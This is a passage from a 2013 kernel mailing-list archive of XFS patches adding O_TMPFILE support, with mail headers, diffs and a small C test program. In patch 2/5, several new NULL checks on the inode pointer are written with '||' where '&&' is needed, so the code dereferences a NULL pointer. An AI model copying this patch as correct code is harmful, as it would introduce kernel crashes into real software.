2013 08:28:30 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 427348F806F for ; Fri, 13 Dec 2013 06:28:27 -0800 (PST) X-ASG-Debug-ID: 1386944892-04cbb0416770e560001-NocioJ Received: from e7.ny.us.ibm.com (e7.ny.us.ibm.com [32.97.182.137]) by cuda.sgi.com with ESMTP id p6nYxOj0n2cb8IL9 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 06:28:16 -0800 (PST) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 32.97.182.137 Received: from /spool/local by e7.ny.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Fri, 13 Dec 2013 09:28:12 -0500 Received: from d01dlp03.pok.ibm.com (9.56.250.168) by e7.ny.us.ibm.com (192.168.1.107) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Fri, 13 Dec 2013 09:28:10 -0500 Received: from b01cxnp22035.gho.pok.ibm.com (b01cxnp22035.gho.pok.ibm.com [9.57.198.25]) by d01dlp03.pok.ibm.com (Postfix) with ESMTP id 440DDC90041 for ; Fri, 13 Dec 2013 09:28:08 -0500 (EST) Received: from d01av03.pok.ibm.com (d01av03.pok.ibm.com [9.56.224.217]) by b01cxnp22035.gho.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id rBDES9fr7602528 for ; Fri, 13 Dec 2013 14:28:09 GMT Received: from d01av03.pok.ibm.com (localhost [127.0.0.1]) by d01av03.pok.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id rBDES97o002359 for ; Fri, 13 Dec 2013 09:28:09 -0500 Received: from us.ibm.com ([9.115.122.226]) by d01av03.pok.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with SMTP id rBDES6gl002101; Fri, 13 Dec 2013 09:28:07 -0500 Received: by us.ibm.com (sSMTP sendmail emulation); Fri, 13 Dec 2013 22:28:01 +0800 From: Zhi Yong Wu To: xfs@oss.sgi.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, Zhi Yong Wu Subject: [PATCH 2/5] xfs: adjust the interface of xfs_qm_vop_dqalloc() Date: Fri, 13 Dec 2013 22:27:50 +0800 X-ASG-Orig-Subj: [PATCH 2/5] xfs: adjust the interface of xfs_qm_vop_dqalloc() Message-Id: <1386944873-16796-3-git-send-email-zwu.kernel@gmail.com> X-Mailer: git-send-email 1.7.6.5 In-Reply-To: <1386944873-16796-1-git-send-email-zwu.kernel@gmail.com> References: <1386944873-16796-1-git-send-email-zwu.kernel@gmail.com> X-TM-AS-MML: disable X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13121314-5806-0000-0000-000023AA5228 X-Barracuda-Connect: e7.ny.us.ibm.com[32.97.182.137] X-Barracuda-Start-Time: 1386944896 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143067 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Zhi Yong Wu There may be not a parent inode or a name for O_TMPFILE support, but will pass a struct xfs_mount to xfs_qm_vop_dqalloc(). So its interface need to be adjusted in order that O_TMPFILE creation function can also use it. Signed-off-by: Zhi Yong Wu --- fs/xfs/xfs_inode.c | 2 +- fs/xfs/xfs_ioctl.c | 2 +- fs/xfs/xfs_iops.c | 3 ++- fs/xfs/xfs_qm.c | 50 +++++++++++++++++++++++++++++++------------------- fs/xfs/xfs_quota.h | 6 ++++-- fs/xfs/xfs_symlink.c | 2 +- 6 files changed, 40 insertions(+), 25 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index e8b9a68..71a8186 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1182,7 +1182,7 @@ xfs_create( /* * Make sure that we have allocated dquot(s) on disk. */ - error = xfs_qm_vop_dqalloc(dp, xfs_kuid_to_uid(current_fsuid()), + error = xfs_qm_vop_dqalloc(dp, mp, xfs_kuid_to_uid(current_fsuid()), xfs_kgid_to_gid(current_fsgid()), prid, XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, &udqp, &gdqp, &pdqp); diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 33ad9a7..eac84bd 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -1090,7 +1090,7 @@ xfs_ioctl_setattr( * because the i_*dquot fields will get updated anyway. */ if (XFS_IS_QUOTA_ON(mp) && (mask & FSX_PROJID)) { - code = xfs_qm_vop_dqalloc(ip, ip->i_d.di_uid, + code = xfs_qm_vop_dqalloc(ip, ip->i_mount, ip->i_d.di_uid, ip->i_d.di_gid, fa->fsx_projid, XFS_QMOPT_PQUOTA, &udqp, NULL, &pdqp); if (code) diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 27e0e54..eb55be5 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -540,7 +540,8 @@ xfs_setattr_nonsize( */ ASSERT(udqp == NULL); ASSERT(gdqp == NULL); - error = xfs_qm_vop_dqalloc(ip, xfs_kuid_to_uid(uid), + error = xfs_qm_vop_dqalloc(ip, ip->i_mount, + xfs_kuid_to_uid(uid), xfs_kgid_to_gid(gid), xfs_get_projid(ip), qflags, &udqp, &gdqp, NULL); diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c index 14a4996..1f13e82 100644 --- a/fs/xfs/xfs_qm.c +++ b/fs/xfs/xfs_qm.c @@ -1765,6 +1765,7 @@ xfs_qm_write_sb_changes( int xfs_qm_vop_dqalloc( struct xfs_inode *ip, + struct xfs_mount *mp, xfs_dqid_t uid, xfs_dqid_t gid, prid_t prid, @@ -1773,7 +1774,6 @@ xfs_qm_vop_dqalloc( struct xfs_dquot **O_gdqpp, struct xfs_dquot **O_pdqpp) { - struct xfs_mount *mp = ip->i_mount; struct xfs_dquot *uq = NULL; struct xfs_dquot *gq = NULL; struct xfs_dquot *pq = NULL; @@ -1783,17 +1783,19 @@ xfs_qm_vop_dqalloc( if (!XFS_IS_QUOTA_RUNNING(mp) || !XFS_IS_QUOTA_ON(mp)) return 0; - lockflags = XFS_ILOCK_EXCL; - xfs_ilock(ip, lockflags); + if (ip) { + lockflags = XFS_ILOCK_EXCL; + xfs_ilock(ip, lockflags); - if ((flags & XFS_QMOPT_INHERIT) && XFS_INHERIT_GID(ip)) - gid = ip->i_d.di_gid; + if ((flags & XFS_QMOPT_INHERIT) && XFS_INHERIT_GID(ip)) + gid = ip->i_d.di_gid; + } /* * Attach the dquot(s) to this inode, doing a dquot allocation * if necessary. The dquot(s) will not be locked. */ - if (XFS_NOT_DQATTACHED(mp, ip)) { + if (ip && XFS_NOT_DQATTACHED(mp, ip)) { error = xfs_qm_dqattach_locked(ip, XFS_QMOPT_DQALLOC); if (error) { xfs_iunlock(ip, lockflags); @@ -1802,7 +1804,7 @@ xfs_qm_vop_dqalloc( } if ((flags & XFS_QMOPT_UQUOTA) && XFS_IS_UQUOTA_ON(mp)) { - if (ip->i_d.di_uid != uid) { + if (ip || (ip->i_d.di_uid != uid)) { /* * What we need is the dquot that has this uid, and * if we send the inode to dqget, the uid of the inode @@ -1812,7 +1814,8 @@ xfs_qm_vop_dqalloc( * we'll deadlock by doing trans_reserve while * holding ilock. */ - xfs_iunlock(ip, lockflags); + if (ip) + xfs_iunlock(ip, lockflags); error = xfs_qm_dqget(mp, NULL, uid, XFS_DQ_USER, XFS_QMOPT_DQALLOC | @@ -1826,8 +1829,10 @@ xfs_qm_vop_dqalloc( * Get the ilock in the right order. */ xfs_dqunlock(uq); - lockflags = XFS_ILOCK_SHARED; - xfs_ilock(ip, lockflags); + if (ip) { + lockflags = XFS_ILOCK_SHARED; + xfs_ilock(ip, lockflags); + } } else { /* * Take an extra reference, because we'll return @@ -1838,8 +1843,9 @@ xfs_qm_vop_dqalloc( } } if ((flags & XFS_QMOPT_GQUOTA) && XFS_IS_GQUOTA_ON(mp)) { - if (ip->i_d.di_gid != gid) { - xfs_iunlock(ip, lockflags); + if (ip && (ip->i_d.di_gid != gid)) { + if (ip) + xfs_iunlock(ip, lockflags); error = xfs_qm_dqget(mp, NULL, gid, XFS_DQ_GROUP, XFS_QMOPT_DQALLOC | @@ -1850,16 +1856,19 @@ xfs_qm_vop_dqalloc( goto error_rele; } xfs_dqunlock(gq); - lockflags = XFS_ILOCK_SHARED; - xfs_ilock(ip, lockflags); + if (ip) { + lockflags = XFS_ILOCK_SHARED; + xfs_ilock(ip, lockflags); + } } else { ASSERT(ip->i_gdquot); gq = xfs_qm_dqhold(ip->i_gdquot); } } if ((flags & XFS_QMOPT_PQUOTA) && XFS_IS_PQUOTA_ON(mp)) { - if (xfs_get_projid(ip) != prid) { - xfs_iunlock(ip, lockflags); + if (ip || (xfs_get_projid(ip) != prid)) { + if (ip) + xfs_iunlock(ip, lockflags); error = xfs_qm_dqget(mp, NULL, (xfs_dqid_t)prid, XFS_DQ_PROJ, XFS_QMOPT_DQALLOC | @@ -1870,8 +1879,10 @@ xfs_qm_vop_dqalloc( goto error_rele; } xfs_dqunlock(pq); - lockflags = XFS_ILOCK_SHARED; - xfs_ilock(ip, lockflags); + if (ip) { + lockflags = XFS_ILOCK_SHARED; + xfs_ilock(ip, lockflags); + } } else { ASSERT(ip->i_pdquot); pq = xfs_qm_dqhold(ip->i_pdquot); @@ -1880,7 +1891,8 @@ xfs_qm_vop_dqalloc( if (uq) trace_xfs_dquot_dqalloc(ip); - xfs_iunlock(ip, lockflags); + if (ip) + xfs_iunlock(ip, lockflags); if (O_udqpp) *O_udqpp = uq; else if (uq) diff --git a/fs/xfs/xfs_quota.h b/fs/xfs/xfs_quota.h index 5376dd4..c898ad2 100644 --- a/fs/xfs/xfs_quota.h +++ b/fs/xfs/xfs_quota.h @@ -80,7 +80,8 @@ extern int xfs_trans_reserve_quota_bydquots(struct xfs_trans *, struct xfs_mount *, struct xfs_dquot *, struct xfs_dquot *, struct xfs_dquot *, long, long, uint); -extern int xfs_qm_vop_dqalloc(struct xfs_inode *, xfs_dqid_t, xfs_dqid_t, +extern int xfs_qm_vop_dqalloc(struct xfs_inode *, struct xfs_mount *, + xfs_dqid_t, xfs_dqid_t, prid_t, uint, struct xfs_dquot **, struct xfs_dquot **, struct xfs_dquot **); extern void xfs_qm_vop_create_dqattach(struct xfs_trans *, struct xfs_inode *, @@ -103,7 +104,8 @@ extern void xfs_qm_unmount_quotas(struct xfs_mount *); #else static inline int -xfs_qm_vop_dqalloc(struct xfs_inode *ip, xfs_dqid_t uid, xfs_dqid_t gid, +xfs_qm_vop_dqalloc(struct xfs_inode *ip, struct xfs_mount *mp, + xfs_dqid_t uid, xfs_dqid_t gid, prid_t prid, uint flags, struct xfs_dquot **udqp, struct xfs_dquot **gdqp, struct xfs_dquot **pdqp) { diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index 14e58f2..dcb26692 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -216,7 +216,7 @@ xfs_symlink( /* * Make sure that we have allocated dquot(s) on disk. */ - error = xfs_qm_vop_dqalloc(dp, + error = xfs_qm_vop_dqalloc(dp, mp, xfs_kuid_to_uid(current_fsuid()), xfs_kgid_to_gid(current_fsgid()), prid, XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, -- 1.7.6.5 From zwu.kernel@gmail.com Fri Dec 13 08:28:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5D05C7F60 for ; Fri, 13 Dec 2013 08:28:31 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 51B52304039 for ; Fri, 13 Dec 2013 06:28:25 -0800 (PST) X-ASG-Debug-ID: 1386944890-04cbb0416670e550001-NocioJ Received: from e39.co.us.ibm.com (e39.co.us.ibm.com [32.97.110.160]) by cuda.sgi.com with ESMTP id Ws9rA6nmuNBdOdFy (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 06:28:13 -0800 (PST) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 32.97.110.160 Received: from /spool/local by e39.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Fri, 13 Dec 2013 07:28:10 -0700 Received: from d01dlp01.pok.ibm.com (9.56.250.166) by e39.co.us.ibm.com (192.168.1.139) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Fri, 13 Dec 2013 07:28:08 -0700 Received: from b01cxnp23033.gho.pok.ibm.com (b01cxnp23033.gho.pok.ibm.com [9.57.198.28]) by d01dlp01.pok.ibm.com (Postfix) with ESMTP id C23FA38C804A for ; Fri, 13 Dec 2013 09:28:04 -0500 (EST) Received: from d01av04.pok.ibm.com (d01av04.pok.ibm.com [9.56.224.64]) by b01cxnp23033.gho.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id rBDES65w9961862 for ; Fri, 13 Dec 2013 14:28:06 GMT Received: from d01av04.pok.ibm.com (localhost [127.0.0.1]) by d01av04.pok.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id rBDES5Ut005221 for ; Fri, 13 Dec 2013 09:28:06 -0500 Received: from us.ibm.com ([9.115.122.226]) by d01av04.pok.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with SMTP id rBDES26d004914; Fri, 13 Dec 2013 09:28:03 -0500 Received: by us.ibm.com (sSMTP sendmail emulation); Fri, 13 Dec 2013 22:27:57 +0800 From: Zhi Yong Wu To: xfs@oss.sgi.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, Zhi Yong Wu Subject: [PATCH 1/5] xfs: factor prid related codes into xfs_get_initial_prid() Date: Fri, 13 Dec 2013 22:27:49 +0800 X-ASG-Orig-Subj: [PATCH 1/5] xfs: factor prid related codes into xfs_get_initial_prid() Message-Id: <1386944873-16796-2-git-send-email-zwu.kernel@gmail.com> X-Mailer: git-send-email 1.7.6.5 In-Reply-To: <1386944873-16796-1-git-send-email-zwu.kernel@gmail.com> References: <1386944873-16796-1-git-send-email-zwu.kernel@gmail.com> X-TM-AS-MML: disable X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13121314-9332-0000-0000-0000027C15C9 X-Barracuda-Connect: e39.co.us.ibm.com[32.97.110.160] X-Barracuda-Start-Time: 1386944893 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143067 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Zhi Yong Wu It will be reused by the O_TMPFILE creation function. Signed-off-by: Zhi Yong Wu --- fs/xfs/xfs_inode.c | 13 +++++++++---- 1 files changed, 9 insertions(+), 4 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 001aa89..e8b9a68 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1139,6 +1139,14 @@ xfs_bumplink( return 0; } +static inline prid_t xfs_get_initial_prid(struct xfs_inode *dp) +{ + if (dp->i_d.di_flags & XFS_DIFLAG_PROJINHERIT) + return xfs_get_projid(dp); + else + return XFS_PROJID_DEFAULT; +} + int xfs_create( xfs_inode_t *dp, @@ -1169,10 +1177,7 @@ xfs_create( if (XFS_FORCED_SHUTDOWN(mp)) return XFS_ERROR(EIO); - if (dp->i_d.di_flags & XFS_DIFLAG_PROJINHERIT) - prid = xfs_get_projid(dp); - else - prid = XFS_PROJID_DEFAULT; + prid = xfs_get_initial_prid(dp); /* * Make sure that we have allocated dquot(s) on disk. -- 1.7.6.5 From zwu.kernel@gmail.com Fri Dec 13 08:28:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AF5097F81 for ; Fri, 13 Dec 2013 08:28:35 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id A3BC3304077 for ; Fri, 13 Dec 2013 06:28:23 -0800 (PST) X-ASG-Debug-ID: 1386944884-04cb6c537d70f2c0001-NocioJ Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.152]) by cuda.sgi.com with ESMTP id yvnZFhFYGVFEF8by (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 06:28:04 -0800 (PST) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 32.97.110.152 Received: from /spool/local by e34.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Fri, 13 Dec 2013 07:28:04 -0700 Received: from d03dlp02.boulder.ibm.com (9.17.202.178) by e34.co.us.ibm.com (192.168.1.134) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Fri, 13 Dec 2013 07:28:02 -0700 Received: from b03cxnp08025.gho.boulder.ibm.com (b03cxnp08025.gho.boulder.ibm.com [9.17.130.17]) by d03dlp02.boulder.ibm.com (Postfix) with ESMTP id E07B73E40044 for ; Fri, 13 Dec 2013 07:28:01 -0700 (MST) Received: from d03av01.boulder.ibm.com (d03av01.boulder.ibm.com [9.17.195.167]) by b03cxnp08025.gho.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id rBDES1PX8323440 for ; Fri, 13 Dec 2013 15:28:01 +0100 Received: from d03av01.boulder.ibm.com (localhost [127.0.0.1]) by d03av01.boulder.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id rBDES15V032565 for ; Fri, 13 Dec 2013 07:28:01 -0700 Received: from us.ibm.com ([9.115.122.226]) by d03av01.boulder.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with SMTP id rBDERwKH032289; Fri, 13 Dec 2013 07:27:59 -0700 Received: by us.ibm.com (sSMTP sendmail emulation); Fri, 13 Dec 2013 22:27:53 +0800 From: Zhi Yong Wu To: xfs@oss.sgi.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, Zhi Yong Wu Subject: [PATCH 0/5] xfs: add O_TMPFILE support Date: Fri, 13 Dec 2013 22:27:48 +0800 X-ASG-Orig-Subj: [PATCH 0/5] xfs: add O_TMPFILE support Message-Id: <1386944873-16796-1-git-send-email-zwu.kernel@gmail.com> X-Mailer: git-send-email 1.7.6.5 X-TM-AS-MML: disable X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13121314-1542-0000-0000-000004363B5D X-Barracuda-Connect: e34.co.us.ibm.com[32.97.110.152] X-Barracuda-Start-Time: 1386944884 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143067 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Zhi Yong Wu HI, folks It's time to post out the first formal version, welcome to any constructive comment, thanks. If anyone is interested in playing with it, you can get this patchset from my dev git on github: git://github.com/wuzhy/kernel.git xfs_tmpfile The patchset was tests agaist the code snippet from Andy Lutomirski and other test cases: http://lwn.net/Articles/562296/ If you have any other better test cases, please let me know, thanks. #include #include #include #include #include #define __O_TMPFILE 020000000 #define O_DIRECTORY 0200000 #define O_TMPFILE (__O_TMPFILE | O_DIRECTORY) #define AT_EMPTY_PATH 0x1000 int main(int argc, char **argv) { char buf[128]; if (argc != 3) errx(1, "Usage: flinktest PATH linkat|proc"); int fd = open(".", O_TMPFILE | O_RDWR, 0600); if (fd == -1) err(1, "O_TMPFILE"); else printf("fd #: %d\n", fd); write(fd, "test", 4); if (!strcmp(argv[2], "linkat")) { if (linkat(fd, "", AT_FDCWD, argv[1], AT_EMPTY_PATH) != 0) err(1, "linkat"); } else if (!strcmp(argv[2], "proc")) { sprintf(buf, "/proc/self/fd/%d", fd); if (linkat(AT_FDCWD, buf, AT_FDCWD, argv[1], AT_SYMLINK_FOLLOW) != 0) err(1, "linkat"); } else { errx(1, "invalid mode"); } return 0; } Changelog from rfc: - Addressed the comments from Dave Chinner and Christoph Hellwig. Zhi Yong Wu (5): xfs: factor prid related codes into xfs_get_initial_prid() xfs: adjust the interface of xfs_qm_vop_dqalloc() xfs: add xfs_create_tmpfile() for O_TMPFILE support xfs: add a new method xfs_vn_tmpfile() xfs: allow linkat() on O_TMPFILE files fs/xfs/xfs_inode.c | 142 ++++++++++++++++++++++++++++++++++++++++++++--- fs/xfs/xfs_inode.h | 2 + fs/xfs/xfs_ioctl.c | 2 +- fs/xfs/xfs_iops.c | 25 ++++++++- fs/xfs/xfs_qm.c | 50 ++++++++++------ fs/xfs/xfs_quota.h | 6 +- fs/xfs/xfs_shared.h | 4 +- fs/xfs/xfs_symlink.c | 2 +- fs/xfs/xfs_trans_resv.c | 51 +++++++++++++++++ fs/xfs/xfs_trans_resv.h | 4 + 10 files changed, 255 insertions(+), 33 deletions(-) -- 1.7.6.5 From zwu.kernel@gmail.com Fri Dec 13 08:29:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 53F6E7F88 for ; Fri, 13 Dec 2013 08:29:27 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3E3CB8F8040 for ; Fri, 13 Dec 2013 06:29:24 -0800 (PST) X-ASG-Debug-ID: 1386944932-04cb6c537b70f350001-NocioJ Received: from e9.ny.us.ibm.com (e9.ny.us.ibm.com [32.97.182.139]) by cuda.sgi.com with ESMTP id 8kBk4eHTj15piA4O (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 06:28:52 -0800 (PST) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 32.97.182.139 Received: from /spool/local by e9.ny.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Fri, 13 Dec 2013 09:28:22 -0500 Received: from d01dlp03.pok.ibm.com (9.56.250.168) by e9.ny.us.ibm.com (192.168.1.109) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Fri, 13 Dec 2013 09:28:19 -0500 Received: from b01cxnp23032.gho.pok.ibm.com (b01cxnp23032.gho.pok.ibm.com [9.57.198.27]) by d01dlp03.pok.ibm.com (Postfix) with ESMTP id 3300AC9003E for ; Fri, 13 Dec 2013 09:28:17 -0500 (EST) Received: from d01av02.pok.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by b01cxnp23032.gho.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id rBDESIeU9830752 for ; Fri, 13 Dec 2013 14:28:18 GMT Received: from d01av02.pok.ibm.com (localhost [127.0.0.1]) by d01av02.pok.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id rBDESIPX004887 for ; Fri, 13 Dec 2013 09:28:18 -0500 Received: from us.ibm.com ([9.115.122.226]) by d01av02.pok.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with SMTP id rBDESEu1004585; Fri, 13 Dec 2013 09:28:16 -0500 Received: by us.ibm.com (sSMTP sendmail emulation); Fri, 13 Dec 2013 22:28:10 +0800 From: Zhi Yong Wu To: xfs@oss.sgi.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, Zhi Yong Wu Subject: [PATCH 4/5] xfs: add a new method xfs_vn_tmpfile() Date: Fri, 13 Dec 2013 22:27:52 +0800 X-ASG-Orig-Subj: [PATCH 4/5] xfs: add a new method xfs_vn_tmpfile() Message-Id: <1386944873-16796-5-git-send-email-zwu.kernel@gmail.com> X-Mailer: git-send-email 1.7.6.5 In-Reply-To: <1386944873-16796-1-git-send-email-zwu.kernel@gmail.com> References: <1386944873-16796-1-git-send-email-zwu.kernel@gmail.com> X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13121314-7182-0000-0000-00000958AC95 X-Barracuda-Connect: e9.ny.us.ibm.com[32.97.182.139] X-Barracuda-Start-Time: 1386944932 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143067 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Zhi Yong Wu Add a new O_TMPFILE method to VFS inteface. For more info, please refer to: http://oss.sgi.com/archives/xfs/2013-08/msg00336.html Signed-off-by: Zhi Yong Wu --- fs/xfs/xfs_iops.c | 22 ++++++++++++++++++++++ 1 files changed, 22 insertions(+), 0 deletions(-) diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index eb55be5..b57cd89 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -39,6 +39,7 @@ #include "xfs_da_btree.h" #include "xfs_dir2_priv.h" #include "xfs_dinode.h" +#include "xfs_trans_space.h" #include #include @@ -1051,6 +1052,25 @@ xfs_vn_fiemap( return 0; } +STATIC int +xfs_vn_tmpfile( + struct inode *dir, + struct dentry *dentry, + umode_t mode) +{ + struct xfs_inode *ip = NULL; + int error; + + error = xfs_create_tmpfile(XFS_I(dir), XFS_I(dir)->i_mount, + mode, 0, &ip); + if (error) + return -error; + + d_instantiate(dentry, VFS_I(ip)); + + return -error; +} + static const struct inode_operations xfs_inode_operations = { .get_acl = xfs_get_acl, .getattr = xfs_vn_getattr, @@ -1087,6 +1107,7 @@ static const struct inode_operations xfs_dir_inode_operations = { .removexattr = generic_removexattr, .listxattr = xfs_vn_listxattr, .update_time = xfs_vn_update_time, + .tmpfile = xfs_vn_tmpfile, }; static const struct inode_operations xfs_dir_ci_inode_operations = { @@ -1113,6 +1134,7 @@ static const struct inode_operations xfs_dir_ci_inode_operations = { .removexattr = generic_removexattr, .listxattr = xfs_vn_listxattr, .update_time = xfs_vn_update_time, + .tmpfile = xfs_vn_tmpfile, }; static const struct inode_operations xfs_symlink_inode_operations = { -- 1.7.6.5 From zwu.kernel@gmail.com Fri Dec 13 08:29:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CC5AF29E09 for ; Fri, 13 Dec 2013 08:29:28 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id BCE3C8F8066 for ; Fri, 13 Dec 2013 06:29:19 -0800 (PST) X-ASG-Debug-ID: 1386944928-04cbb0416670e5c0001-NocioJ Received: from e36.co.us.ibm.com (e36.co.us.ibm.com [32.97.110.154]) by cuda.sgi.com with ESMTP id BxtTx10SEbDj2Bh7 (version=TLSv1 cipher=AES256-SHA bits=256 